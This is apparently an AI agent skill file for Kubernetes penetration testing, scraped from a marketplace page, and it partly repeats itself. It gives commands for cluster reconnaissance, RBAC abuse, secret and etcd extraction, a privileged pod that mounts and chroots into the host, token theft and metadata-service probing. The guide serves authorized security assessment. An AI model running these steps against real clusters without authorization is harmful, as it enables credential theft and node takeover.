K8s 分析
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Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
References
- kube-hunter - Kubernetes Penetration Testing
- Kubescape - Kubernetes Security Platform
- kube-bench - CIS Benchmark
- MITRE ATT&CK Containers Matrix
- Kubernetes Threat Matrix - Microsoft
<!-- tomevault:4.0:skill_md:2026-05-22 -->Source: DCx7C5/ai-marketplace — distributed by TomeVault.
- 流狐分类
- 运维部署
- 作者声明 Agent
- 未找到明确声明;不据此推断已兼容或已测试
- 静态检查
- 88 / 100 · 启发式扫描,不代表运行安全
- 作者 / 版本 / 许可
- @tomevault-io · 未声明 license
- 流狐 Token 估算
- 低消耗
- 流狐接入估算
- 需简单配置
- 是否需要外部 API Key
- 未发现要求
- 检测到的系统要求
- Linux
- 底层运行要求
- Node.js
- 检测到的文件与系统行为
-
- 只读
- 允许写入 / 修改
- Shell 执行
- 读取环境变量
- 检测到的网络行为
- 允许外网请求
- 安装命令数
- 无(仅作为资料)
档案由构建时根据 SKILL.md 与安装命令自动衍生,可能与作者实际意图存在差异。
需要注意: 未限定 allowed-tools,默认拥有全部工具权限。
作者没有在当前 SKILL.md 中定义固定输出样例。 Workflow
Workflow
Step 1: External Reconnaissance
Step 1: External Reconnaissance
Step 2: Automated Scanning with kube-hunter
Step 2: Automated Scanning with kube-hunter
Step 3: CIS Benchmark Assessment with kube-bench
Step 3: CIS Benchmark Assessment with kube-bench
# Performing Kubernetes Penetration Testing
## Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
## When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
## Core Concepts
### Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|-----------|------|---------------|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
### MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|-------|-----------|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
… 证据边界与执行链路
作者原文负责流程事实;流狐只索引当前章节、要点、文件与命令。
章节 -> Overview → When to Use → Prerequisites → Core Concepts → Kubernetes Attack Surface → MITRE ATT&CK for Kubernetes
要点 -> --- > Source: [DCx7C5/ai-marketplace](https://github.com/DCx7C5/ai-marketplace) — distributed by [TomeVault](https://tomevault.io).
文件/命令 -> 10250/10255 · 2379/2380 · 6443/api · 6443/version · 6443/api/v1/namespaces · 10250/pods · 10255/pods · output.js
内容 SHA-256 -> 97935dcaffcf
方法与流程
适用与边界
原文中的明确线索
10250/10255、2379/2380、6443/api、6443/version、6443/api/v1/namespaces、10250/pods、10255/pods、output.js